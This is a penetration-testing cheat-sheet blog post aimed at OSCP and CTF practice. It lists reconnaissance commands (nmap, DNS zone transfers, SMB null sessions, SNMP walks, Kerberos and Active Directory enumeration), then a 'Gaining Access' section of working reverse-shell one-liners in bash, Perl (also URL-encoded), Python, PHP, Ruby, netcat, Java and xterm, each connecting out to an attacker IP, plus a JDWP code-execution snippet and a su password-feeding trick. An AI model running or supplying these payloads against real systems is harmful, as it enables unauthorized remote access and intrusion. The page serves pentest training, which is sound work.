Home Pentesting Cheatsheets
Post
Cancel

Pentesting Cheatsheets

Sachin on Aug 9, 20192019-08-09T20:55:00+08:00
Updated Sep 27, 20212021-09-27T21:23:55+08:00 4 min read

Reconnaissance / Enumeration

Extracting Live IPs from Nmap Scan

1

nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

Simple Port Knocking

1

for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done

DNS lookups, Zone Transfers & Brute-Force

1
2
3
4
5
6
7
8
9
10

whois domain.com
dig {a|txt|ns|mx} domain.com
dig {a|txt|ns|mx} domain.com @ns1.domain.com
host -t {a|txt|ns|mx} megacorpone.com
host -a megacorpone.com
host -l megacorpone.com ns1.megacorpone.com
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
dnsenum domain.com
nslookup -> set type=any -> ls -d domain.com
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done

1
2
3

nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET

Kerberos Enumeration

1
2

# users
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

HTTP Brute-Force & Vulnerability Scanning

1
2
3

target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum

RPC / NetBios / SMB

1
2
3
4
5
6
7
8
9
10

rpcinfo -p $TARGET
nbtscan $TARGET

#list shares
smbclient -L //$TARGET -U ""

# null session
rpcclient -U "" $TARGET
smbclient -L //$TARGET
enum4linux $TARGET

SNMP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# Windows User Accounts
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25

# Windows Running Programs
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2

# Windows Hostname
snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27

# Windows TCP Ports
snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3

# Software Name
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2

# brute-force community strings
onesixtyone -i snmp-ips.txt -c community.txt

snmp-check $TARGET

SMTP

1

smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150

Active Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

# get DCs of a domain
nltest /dclist:offense.local
net group "domain controllers" /domain

# get DC for currently authenticated session
nltest /dsgetdc:offense.local

# get domain trusts from cmd shell
nltest /domain_trusts

# get user info
nltest /user:"spotless"

# get DC for currently authenticated session
set l

# get domain name and DC the user authenticated to
klist

# get all logon sessions. Includes NTLM authenticated sessions
klist sessions

# kerberos tickets for the session
klist

# cached krbtgt
klist tgt

# whoami on older Windows systems
set u

# find DFS shares with ADModule
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name

# find DFS shares with ADSI
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}

# check if spooler service is running on a host
powershell ls "\\dc01\pipe\spoolss"

Listen on a port (Powershell)

1
2
3
4
5
6
7
8
9
10

# Start listener on port 443
$listener = [System.Net.Sockets.TcpListener]443; $listener.Start();
 
while($true)
{
    $client = $listener.AcceptTcpClient();
    Write-Host $client.client.RemoteEndPoint "connected!";
    $client.Close();
    start-sleep -seconds 1;
}

Gaining Access

Reverse Shell One-Liners

Bash

1

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

1

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux

1

echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew

Python

1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

1

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

1

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat without -e #1

1

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Netcat without -e #2

1
2

nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444

Java

1

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

XTerm

1

xterm -display 10.0.0.1:1

JDWP RCE

1

print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())

Working with Restricted Shells

1
2

# rare cases
ssh bill@localhost ls -l /tmp

1

nice /bin/bash

Interactive TTY Shells

1

/usr/bin/expect sh

1
2
3

python -c ‘import pty; pty.spawn(“/bin/sh”)’
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
Pentesting, Cheatsheet
Pentest OSCP CTF
This post is licensed under CC BY 4.0 by the author.
Recent Update
Contents

-

HackTheBox